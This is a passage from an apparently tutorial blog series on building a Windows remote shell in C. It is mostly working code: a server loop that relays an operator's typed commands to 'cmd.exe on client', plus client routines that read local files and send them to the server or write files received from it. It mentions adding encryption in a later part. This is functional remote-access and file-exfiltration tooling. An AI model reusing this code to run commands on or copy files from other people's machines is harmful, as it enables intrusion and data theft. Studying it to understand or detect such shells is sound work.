            DEBUG_PRINT("user upload cmd: %s", input.buf);
            s_put (c, input.buf);
            break;
          }
          // download a file?
          case SPP_CMD_GET: {
            DEBUG_PRINT("user download cmd: %s", input.buf);
            s_get (c, input.buf);
            break;
          }
          // invalid command
          default:
            printf ("[ unrecognised commandn");
            break;
        }
      } else {
        // we're in cmd_mode, copy input to packet buffer
        out.len=input.len;
        memcpy (out.buf, input.buf, input.len);
        // send to cmd.exe on client
        spp_send(c, &out);
      }
      // start reading user input again
      SetEvent (input.evtbck);
    }
  } while (!end && !terminate);
  
  printf ("[ cleaning upn");
  
  CloseHandle (hThread);
  CloseHandle (input.evtbck);
  CloseHandle (evt[stdin_evt]);
  evt_cnt--;
  
  return terminate;
}

Client File transfer

Uploading file to server.

  1. Attempt to open the file.
  2. Obtain last error code and send to server.
  3. If file not opened, go to step 8
  4. Read data from file
  5. Send data to server
  6. If last read not EOF go to step 4
  7. Close file
  8. Exit function
DWORD c_get (spp_ctx *c, char *path)
/**
 * PURPOSE : open file on client system and send to server
 *
 * RETURN :  spp error code
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  in;
  spp_blk out;
  int     r;
  
  DEBUG_PRINT("opening %s for read", path);
  in=CreateFile (path, GENERIC_READ, FILE_SHARE_READ, 
    NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  
  // tell server status of open
  out.err=GetLastError();
  out.len=sizeof(DWORD);
  DEBUG_PRINT("error code %i", out.err);
  r=spp_send(c, &out);
  
  // file opened?
  if (in!=INVALID_HANDLE_VALUE)
  {
    DEBUG_PRINT("reading contents");
    // while reading
    while (ReadFile (in, out.buf, SPP_DATA_LEN, &out.len, 0)) 
    {
      // send data even if nothing read.
      if ((r=spp_send(c, &out)) != SPP_ERR_OK) break;
      
      // break on nothing read
      if (out.len==0) break;
    }
    // close file
    CloseHandle (in);
  }
  DEBUG_PRINT("c_get ending");
  return r;
}

Downloading file from server.

  1. Attempt to create the file.
  2. Obtain last error code and send to server.
  3. If file not created, goto step 9
  4. Receive data from server
  5. If receive length is zero, goto step 8
  6. Write data to file
  7. goto step 4
  8. Close file
  9. Exit function
DWORD c_put (spp_ctx *c, char *path)
/**
 * PURPOSE : receive a file from remote system and write to disk
 *
 * RETURN :  spp error code
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  out;
  DWORD   wn;
  spp_blk in;
  int     r;
  
  DEBUG_PRINT("creating %s", path);
  
  out=CreateFile (path, GENERIC_WRITE, 0, NULL, 
    CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
  
  // tell remote our last error
  in.err=GetLastError();
  in.len=sizeof(DWORD);
  DEBUG_PRINT("error code %i", in.err);
  r=spp_send(c, &in);
    
  // if unable to create
  if (out!=INVALID_HANDLE_VALUE)
  {
    // keep looping until we receive zero length or socket error
    for (;;) 
    {
      // receive data, break on error
      if ((r=spp_recv(c, &in)) != SPP_ERR_OK) 
        break;
      
      // break if zero length
      if (in.len==0) break;
      
      // else write to file
      WriteFile (out, in.buf, in.len, &wn, 0);
    }
    // close handle
    CloseHandle (out);
  }
  DEBUG_PRINT("c_put ending");
  return r;
}

Limitations

The main limitation at this point is the lack of secrecy between 2 hosts. In part 4, we’ll solve this problem using an encryption layer.

Sources

To view entire source of this shell, see s3 here.

Posted in programming, windows | Tagged , , , , , | Leave a comment